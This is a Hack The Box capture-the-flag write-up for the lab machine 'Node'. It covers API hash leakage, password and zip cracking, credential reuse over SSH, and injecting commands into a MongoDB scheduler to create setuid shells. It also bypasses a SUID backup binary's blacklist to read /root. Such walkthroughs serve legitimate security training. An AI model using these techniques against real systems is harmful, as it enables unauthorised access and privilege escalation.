10.10.10.58 - Node

Hack The Box Created by Points
Link rastating 30

Open ports

luc@kali:~/HTB/Node$ nmap -vv --reason -Pn -A --osscan-guess --version-all -p- 10.10.10.58
Port Service Version
22/tcp ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp hadoop-datanode Apache Hadoop

3000/tcp

Opening http://10.10.10.58:3000/ in a webbrowser shows a webpage that doesn’t match what nmap expected to find.

Myplace webpage

Port 3000 is the default port for NodeJS and with Node being the machine name we can be quite sure that this is what we’re dealing with.

Myplace webpage

Fuzzing

We can’t use Gobuster because every page will be a HTTP 200 response code even if it doesn’t exist. We can use Wfuzz because we can see the length of a false positive response (90 lines) and hide those responses with the --hl 90 argument.

luc@kali:~/HTB/Node$ wfuzz -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hl 90 http://10.10.10.58:3000/FUZZ
...
000000164:   301        9 L      15 W     173 Ch      "uploads"
000000291:   301        9 L      15 W     171 Ch      "assets"
000001481:   301        9 L      15 W     171 Ch      "vendor"

We can now try fuzzing those directories for more content, but we’ll first see if we can find another attack vector because fuzzing isn’t the most exciting attack.

Password cracking

The website code shows an API call to /api/users/latest

API call to /api/users/latest

luc@kali:~/HTB/Node$ curl http://10.10.10.58:3000/api/users/latest -s | python -m json.tool | pygmentize -l javascript
[
    {
        "_id": "59a7368398aa325cc03ee51d",
        "is_admin": false,
        "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
        "username": "tom"
    },
    {
        "_id": "59a7368e98aa325cc03ee51e",
        "is_admin": false,
        "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
        "username": "mark"
    },
    {
        "_id": "59aa9781cced6f1d1490fce9",
        "is_admin": false,
        "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
        "username": "rastating"
    }
]

This is interesting because we get password hashes for 3 users, but we’re interested if we can also find an account that has "is_admin": true. Changing /api/users/latest to /api/users will get all the user accounts resulting in an account named myP14ceAdm1nAcc0uNT.

luc@kali:~/HTB/Node$ curl http://10.10.10.58:3000/api/users -s | python -m json.tool | pygmentize -l javascript
[
    {
        "_id": "59a7365b98aa325cc03ee51c",
        "is_admin": true,
        "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
        "username": "myP14ceAdm1nAcc0uNT"
    },
    {
        "_id": "59a7368398aa325cc03ee51d",
        "is_admin": false,
        "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
        "username": "tom"
    },
    {
        "_id": "59a7368e98aa325cc03ee51e",
        "is_admin": false,
        "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
        "username": "mark"
    },
    {
        "_id": "59aa9781cced6f1d1490fce9",
        "is_admin": false,
        "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
        "username": "rastating"
    }
]

The next step is cracking these hashes.

luc@kali:~/HTB/Node$ echo -n 'dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af' | hashid
Analyzing 'dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
luc@kali:~/HTB/Node$ hashcat --example-hashes
...
MODE: 1400
TYPE: SHA2-256
HASH: 127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
PASS: hashcat
...
luc@kali:~/HTB/Node$ echo 'myP14ceAdm1nAcc0uNT:dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
> tom:f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
> mark:de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
> rastating:5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0' > hashes
luc@kali:~/HTB/Node$ hashcat --user hashes /usr/share/seclists/Passwords/darkweb2017-top10000.txt -m 1400
...
mark:de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake
tom:f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob
myP14ceAdm1nAcc0uNT:dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
...

We now have 3 different users accounts including an admin account.

Backup

When we login as myP14ceAdm1nAcc0uNT we get the option to download a backup. This myplace.backup file is base64 encoded text so we’ll decode it and after decoding it appears to be a zip archive.

luc@kali:~/HTB/Node$ cat myplace.backup | base64 -d > myplace.decoded
luc@kali:~/HTB/Node$ file myplace.decoded
myplace.decoded: Zip archive data, at least v1.0 to extract
luc@kali:~/HTB/Node$ mv myplace.decoded myplace.zip

We’ll need to crack the password for this zip file. We’ll use fcrackzip for this.

luc@kali:~/HTB/Node$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt myplace.zip
possible pw found: magicword ()
luc@kali:~/HTB/Node$ unzip -P magicword myplace.zip

We can now view all files in the zip including var/www/myplace/app.js.

luc@kali:~/HTB/Node$ less var/www/myplace/app.js
...
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
...

Mark has used the same password for mongodb as he has for his user account so we can login via SSH.

luc@kali:~/HTB/Node$ ssh mark@10.10.10.58
The authenticity of host '10.10.10.58 (10.10.10.58)' can't be established.
ECDSA key fingerprint is SHA256:I0Y7EMtrkyc9Z/92jdhXQen2Y8Lar/oqcDNLHn28Hbs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.58' (ECDSA) to the list of known hosts.
mark@10.10.10.58's password:

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

              .-.
        .-'``(|||)
     ,`\ \    `-`.                 88                         88
    /   \ '``-.   `                88                         88
  .-.  ,       `___:      88   88  88,888,  88   88  ,88888, 88888  88   88
 (:::) :        ___       88   88  88   88  88   88  88   88  88    88   88
  `-`  `       ,   :      88   88  88   88  88   88  88   88  88    88   88
    \   / ,..-`   ,       88   88  88   88  88   88  88   88  88    88   88
     `./ /    .-.`        '88888'  '88888'  '88888'  88   88  '8888 '88888'
        `-..-(   )
              `-`

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Thu Jun 11 19:52:09 2020 from 10.10.14.26
mark@node:~$

Privilege escalation

Mark -> Tom

We’re logged in as Mark, but we can’t get the user flag yet.

mark@node:~$ pwd
/home/mark
mark@node:~$ cd ../
mark@node:/home$ ls -Rl
.:
total 12
drwxr-xr-x 2 root root 4096 Aug 31  2017 frank
drwxr-xr-x 3 root root 4096 Sep  3  2017 mark
drwxr-xr-x 6 root root 4096 Sep  3  2017 tom

./frank:
total 0

./mark:
total 0

./tom:
total 4
-rw-r----- 1 root tom 33 Sep  3  2017 user.txt
mark@node:/home$ cat tom/user.txt
cat: tom/user.txt: Permission denied

PSPY

We want to see what processes are running on this server so we’ll use pspy

luc@kali:~/HTB/Node$ cp /opt/pspy-binaries/pspy32 .
luc@kali:~/HTB/Node$ python3 -m http.server
mark@node:/tmp$ wget http://10.10.14.16:8000/pspy32
mark@node:/tmp$ chmod +x pspy32
mark@node:/tmp$ ./pspy32
...
2020/06/12 12:07:08 CMD: UID=1000 PID=1403   | /usr/bin/node /var/scheduler/app.js
...

UID=1000 is the user Tom so this could be interesting.

mark@node:/$ cat /var/scheduler/app.js
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

This script will look for tasks in the scheduler database and execute those before deleting them. We can use our credentials as Mark to login to the scheduler database and create a task.

mark@node:/$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password: 5AYRft73VtFpc84k
connecting to: scheduler
> db.tasks.insert({"cmd":"cp /bin/dash /tmp/dash; chmod u+s /tmp/dash"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("5ee3692d5a9b430604f63796"), "cmd" : "cp /bin/dash /tmp/dash; chmod u+s /tmp/dash" }

This task will be executed (we know for sure it has been executed when db.tasks.find() no longer returns our task because it’s removed after execution).

mark@node:/tmp$ ls -lsa
...
 152 -rwsr-xr-x  1 tom     tom      154072 Jun 12 12:42 dash
...

We can now execute this dash binary and get euid=1000 which matches Tom

mark@node:/tmp$ ./dash -p
$ id
uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark)

Tom -> root

Linpeas

luc@kali:~/HTB/Node$ cp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh .
luc@kali:~/HTB/Node$ python3 -m http.server
$ wget http://10.10.14.16:8000/linpeas.sh
$ chmod +x linpeas.sh
$ ./linpeas.sh
...
[+] SUID - Check easy privesc, exploits and write perms
/usr/local/bin/backup
...

Tom is part of the admin group, but we still can’t use the /usr/local/bin/backup binary because our dash only got the euid and not the correct group.

$ /usr/local/bin/backup
./dash: 21: /usr/local/bin/backup: Permission denied
$ ls -lsa /usr/local/bin/backup
20 -rwsr-xr-- 1 root admin 16484 Sep  3  2017 /usr/local/bin/backup
mark@node:/$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password: 5AYRft73VtFpc84k
connecting to: scheduler
> db.tasks.insert({"cmd":"chown tom:admin /tmp/dash; chmod 6755 /tmp/dash"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("5ee36fe5f9fd70c854663db3"), "cmd" : "chown tom:admin /tmp/dash; chmod 6755 /tmp/dash" }
mark@node:/tmp$ ls -lsa
...
 152 -rwsr-sr-x  1 tom     admin    154072 Jun 12 12:52 dash
...
mark@node:/tmp$ ./dash -p
$ id
uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark)
$ /usr/local/bin/backup
$

We can now execute /usr/local/bin/backup, but we don’t see anything happening when we run it. We still have the site backup so we can check if this backup application is called in there and if it is with what arguments.

luc@kali:~/HTB/Node/var/www/myplace$ grep -Rin '/usr/local/bin/backup'
app.js:202:      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
luc@kali:~/HTB/Node/var/www/myplace$ less app.js
...
app.get('/api/admin/backup', function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';

      proc.on("exit", function(exitCode) {
        res.header("Content-Type", "text/plain");
        res.header("Content-Disposition", "attachment; filename=myplace.backup");
        res.send(backup);
      });

      proc.stdout.on("data", function(chunk) {
        backup += chunk;
      });

      proc.stdout.on("end", function() {
      });
    }
    else {
      res.send({
        authenticated: false
      });
    }
  });
...

We can easily find the value of the backup_key variable.

luc@kali:~/HTB/Node/var/www/myplace$ grep -Rin 'backup_key'
app.js:12:const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
app.js:202:      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);

__dirname is the current directory in Node.js so we also know that value, /var/www/myplace/.

$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /var/www/myplace/
...
Very long string, the site backup
...
$ pwd
/tmp
$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /home | base64 -d > home.zip
$ file home.zip
home.zip: Zip archive data, at least v1.0 to extract
$ unzip -P magicword home.zip
$ ls -R home
home:
frank  mark  tom

home/frank:

home/mark:

home/tom:
user.txt
$ cat home/tom/user.txt
e1156acc************************

$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
 [+] Finished! Encoded backup is below:

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
$ echo -n 'UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==' |base64 -d > root.zip
$ unzip -P magicword root.zip
Archive:  root.zip
   skipping: root.txt                need PK compat. v5.1 (can do v4.6)

There is a difference here, passing /home as the directory only resulted in base64 encoded output and passing /root resulted in the message [+] Finished! Encoded backup is below: and a zip that needs to be extracted with 7z.

luc@kali:~/HTB/Node$ echo -n 'UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz
340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYb
zmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==' | base64 -d > root.zip
luc@kali:~/HTB/Node$ 7z x root.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-6600K CPU @ 3.50GHz (506E3),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1141 bytes (2 KiB)

Extracting archive: root.zip
--
Path = root.zip
Type = zip
Physical Size = 1141

Enter password (will not be echoed):
Everything is Ok

Size:       2584
Compressed: 1141
uc@kali:~/HTB/Node$ cat root.txt
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____.  -~""??9VWQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ
QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ
QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ
QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ
QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ
QQQQQQQP'.yQQQQQQQQQQQP"       <wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ
QQQQQP'_a.<aamQQQW!<yF "!` ..  "??$Qa "WQQQWTVP'    "??' =QQmWWV?46/ ?QQQQQ
QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ
QQ[ j@mQP'adQQP4ga, -????" <jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"`  -?QzQ7L ]QQQ
QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa   .QP4QQQQfWkl jQQQ
QE ]QkQk $D?`  waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ
QQ,-Qm4Q/-QmQ6 "WWQma/  "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@  "QW@?$:.yQQQQ
QQm/-4wTQgQWQQ,  ?4WWk 4waac -???$waQQQQQQQQF??'<mWWWWWQW?^  ` ]6QQ' yQQQQQ
QQQQw,-?QmWQQQQw  a,    ?QWWQQQw _.  "????9VWaamQWV???"  a j/  ]QQf jQQQQQQ
QQQQQQw,"4QQQQQQm,-$Qa     ???4F jQQQQQwc <aaas _aaaaa 4QW ]E  )WQ`=QQQQQQQ
QQQQQQWQ/ $QQQQQQQa ?H ]Wwa,     ???9WWWh dQWWW,=QWWU?  ?!     )WQ ]QQQQQQQ
QQQQQQQQQc-QWQQQQQW6,  QWQWQQQk <c                             jWQ ]QQQQQQQ
QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,.,                . .; QWQ.]QQQQQQQ
QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ
QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ
QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,,    --~-- ---  . _ssawmQQQQQQk 3QQQQWQ
QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ
QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV}<wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ
QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ
QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW
QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,.  -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ
QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ
QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ

Unless HTB changed to a new flag format we’re still missing something to get the correct root.txt.

$ strings /usr/local/bin/backup | grep root
/root

The binary contains the string /root so this is probably blacklisted. We can bypass this blacklist by executing the binary while having / as the working directory and passing root as the directory parameter.

$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
...
base64 output
...
$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root |base64 -d > tmp/root.zip
$ cd tmp
$ unzip -P magicword root.zip
Archive:  root.zip
   creating: root/
  inflating: root/.profile
  inflating: root/.bash_history
   creating: root/.cache/
 extracting: root/.cache/motd.legal-displayed  
 extracting: root/root.txt
  inflating: root/.bashrc
  inflating: root/.viminfo
   creating: root/.nano/
 extracting: root/.nano/search_history
$ cat root/root.txt
1722e99c************************

TL;DR

  • Webpage on port 3000
  • API shows password hashes
  • Use cracked admin password to download site backup
  • Find credentials for user Mark in backup and use it for SSH
  • User Tom runs commands from the Mongo DB database, use Mark credentials to add a task
  • Run /usr/local/bin/backup to read folders as root, /home/tom for user.txt and /root for root.txt